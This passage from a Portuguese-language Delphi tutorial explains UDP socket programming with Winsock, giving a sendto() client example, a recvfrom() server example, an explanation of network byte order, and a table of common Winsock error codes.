Uma vez em que o protocolo UDP não é orientado a conexão, podemos deduzir que o uso da funções connect() e listen()/accept() são desnecessárias em sua aplicação. Como foi dito anteriormente, basta saber o endereço remoto de um host e sua porta para que possamos enviar dados para este, utilizando o protocolo UDP. O mesmo se aplica à entrada de dados. Com o protocolo TCP, utitlizamos, respectivamente, as funções send() e recv(). No protocolo UDP, as coisas mudam um pouco: utiliza-se sendto() para o envio de dados, e recvfrom() para recebermos dados. Segue abaixo um código que mostra a criação de um socket que trabalhe sob o protocolo UDP:
program exemplo;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
wsa: WSADATA;
sock: integer;
addr: sockaddr_in;
buffer: array [0..99] of char;

begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_DGRAM,0); // Utilizamos SOCK_DGRAM e não SOCK_STREAM
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(1234);
addr.sin_addr.S_addr := inet_addr('200.123.123.123');

buffer := 'Enviando um string através do protocolo UDP!';
if(sendto(sock,buffer,strlen(buffer), 0,addr,sizeof(addr)) = -1) then
begin
writeln('Erro ao enviar dados!');
exit;
end;
closesocket(sock);
WSACleanup();
end.

O primeiro ponto a ser observado no código acima é que, ao invés de utilizarmos SOCK_STREAM como segundo parâmetro da função socket(), utilizamos SOCK_DGRAM que é a constante correta para o protocolo UDP.

Nota-se que, no código, apenas especificamos as informações do host e utilizamos a função sendto() para enviar a string contida no array "buffer" para este computador (200.123.123.123). A sintaxe da função sendto() é bastante semelhante à da função send(), com exceção apenas dos dois últimos parâmetros:

send(sock: Integer; var Buf; tam_buffer: Integer; Flags: Integer, addr: sockaddr_in; tam_addr: integer);

sock:
nome do nosso socket;

Buf:
array de caracteres ou um ponteiro para char que contém os dados que serão enviados;

tam_buffer:
número de bytes que serão enviados;

flags:
valores opcionais que especificam o modo de envio.

addr:
variável do tipo sockaddr_in que contém as informações de endereço/porta do host remoto;

tam_addr:
tamanho da estrutura sockaddr_in;

Assim como a função send(), sendto() também retorna o número de bytes enviados. Se algum erro ocorrer, a função retorna -1.

Vejamos um exemplo de um servidor UDP:
program exemplo;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock,Windows; // ZeroMemory -> definida em Windows

var
wsa: WSADATA;
sock: integer;
addr,addr_remoto: sockaddr_in;
buffer: array [0..99] of char;
tam_addr: integer;
begin

if(WSAStartup($101,wsa) = -1) then
begin
writeln('Ocorreu um erro ao inicializar o Winsock.');
exit;
end;

sock := socket(AF_INET,SOCK_DGRAM,0);
if(sock = -1) then
begin
writeln('Ocorreu um erro ao criar o socket.');
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(1234);
addr.sin_addr.S_addr := INADDR_ANY ;

if(bind(sock,addr,sizeof(addr))=-1) then
begin
writeln('Erro na funcao bind()');
exit;
end;

ZeroMemory(@buffer,100);
tam_addr := sizeof(addr);
if(recvfrom(sock,buffer,100,0,addr_remoto,tam_addr ) = -1) then
begin
writeln('Erro na funcao recvfrom()');
exit;
end;

writeln('Dados recebidos!' + #10);
writeln('IP: ' + inet_ntoa(addr_remoto.sin_addr));
writeln('Porta: ' + inttostr(ntohs(addr_remoto.sin_port)));
writeln('Dados:' + buffer);

closesocket(sock);
WSACleanup();
end.

Neste exemplo, o programa utiliza a função bind() para que, posteriormente, possau utilizar a porta 1234 para receber dados de um possível cliente. Vamos ver mais detalhadamente:

addr,addr_remoto: sockaddr_in;
buffer: array [0..99] of char;
tam_addr: integer;

Observe que o código há pontos importantes em negrito. Além da comum declaração da variável "addr", declare-se outra variável, do mesmo tipo (sockaddr_in), denominada "addr_remoto". Esta variável será utilizada como parâmetro para a função recvfrom(), seu uso será explicado mais adiante.

A variável "buffer" é um array de caracteres de 100 bytes e será utilizada para armazenar os dados recebidos através da função recvfrom().

Por fim, declaramos "tam_addr" para passarmos seu valor como último parâmetro da função. O valor desta variável deve ser o tamanho da estrutura "sock_addr" em bytes.
if(bind(sock,addr,sizeof(addr))=-1) then
begin
writeln('Erro na funcao bind()');
exit;
end;


Nada de novo. Apenas configura-se localmente o socket de tal forma que este utilize a porta 1234 para receber/enviados dados.
ZeroMemory(@buffer,100);
tam_addr := sizeof(sockaddr_in);
if(recvfrom(sock,buffer,100,0,addr_remoto,tam_addr ) = -1) then
begin
writeln('Erro na funcao recvfrom()');
exit;
end;


Neste trecho, preenche-se com zero todo o buffer, ou podemos simplesmente dizer que limpa-se o "buffer" para que ele possa armazenar ocasionais dados. Na próxima linha, estamos atribuindo à variável "tam_addr" o tamanho, em bytes, da estrutura "sockaddr_in". E, desmembrando um pouco mais o código, temos:
if(recvfrom(sock,buffer,100,0,addr_remoto,tam_addr ) = -1) then
begin
writeln('Erro na funcao recvfrom()');
exit;
end;


É no trecho acima que, de fato, aguardamos por dados vindos de algum cliente.

Vejamos a sintaxe:

recvfrom(sock: Integer; var Buf; tam_buffer: Integer; flags: Integer, addr:sockaddr_in, var tam);

sock:
nome do nosso socket;

Buf:
buffer que irá armazenar os dados recebidos;

tam_buffer:
tamanho do buffer;

flags:
valores opcionais que especificam o modo de recebimento.

addr:
variável do tipo sockaddr_in que contém as informações de endereço/porta do host remoto;

tam_addr:
variável que armazena o tamanho da estrutura sockaddr_in;

A função, assim como recv(), retornará o número de bytes recebidos, exceto quando algum erro ocorrer, onde o valor -1 é retornado.


Para finalizar:
writeln('Dados recebidos!' + #10);
writeln('IP: ' + inet_ntoa(addr_remoto.sin_addr));
writeln('Porta: ' + inttostr(ntohs(addr_remoto.sin_port)));
writeln('Dados:' + buffer);


Nesta parte, apenas são mostrados informações sobre um cliente remoto que enviou determinados dados: ip, porta e os dados em si.

A função inet_ntoa() você já conhece: é responsável por transformar um IP expresso em network byte para string.


Uma função que ainda não foi abordada é ntohs(). Esta faz o trabalho inverso ao da função htons(). Enquanto esta última transforma um valor denominado host byte order para network byte order, a função ntohs() obtém um valor em network byte e o transforma em host byte order. Network byte order é o tipo de valor utilizado para comunicação, sobretudo, nas estruturas de sockets, no qual o byte mais significativo (também chamado octeto) é o primeiro. Em host byte order, o byte menos significativo é o primeiro. Exemplo:
Valor em network byte order: 5376
Valor em host byte order: 21


Vale lembrar que as funções htons() e ntohs() retornam valores numéricos (de 2 bytes). Por esta razão, utilizamos IntToStr() - para conveter de inteiro para string - na seguinte linha:
writeln('Porta: ' + inttostr(ntohs(addr_remoto.sin_port)));

Bem, antes de encerrar esta parte do artigo, irei disponibilizar uma tabela contendo os tipos mais comuns de erros gerados pelo winsock, sobretudo, para serem usados em conjunto com as funções WSAGetLastError() e WSASetLastError():
Código Constante Significado
WSA_INVALID_HANDLE 6 Identificador inválido.
WSA_NOT_ENOUGH_MEMORY 8 Memória insuficiente.
WSA_NOT_ENOUGH_MEMORY 8 Memória insuficiente.
WSA_INVALID_PARAMETER 87 Algum parâmetro inválido foi passado a uma função.
WSAEACCES 10013 Permissão negada.
WSAEFAULT 10014 Endereço inválido.
WSAENOTSOCK 10038 Uma função foi utilizada com um socket inválido.
WSAEPROTOTYPE 10041 O tipo de socket não suporta o uso de uma determinada função.
WSAENOPROTOOPT 10042 Protocolo inválido especificado.
WSAESOCKTNOSUPPORTM 10044 Tipo de socket não suportado.
WSAEPFNOSUPPORT 10046 Família de protocolo não suportada.
WSAEADDRINUSE 10048 Endereço já em uso.
WSAEADDRNOTAVAIL 10049 Erro ao atribuir endereço requisitado.
WSAECONNRESET 10054 Conexão resetada pelo host remoto.
WSAEISCONN 10056 Socket já conectado.
WSAENOTCONN 10057 Socket não conectado.
WSAECONNREFUSED 10061 Conexão recusada.
WSANOTINITIALISED 10093 O winsock não foi inicializado.
A tabela acima está bem simplificada.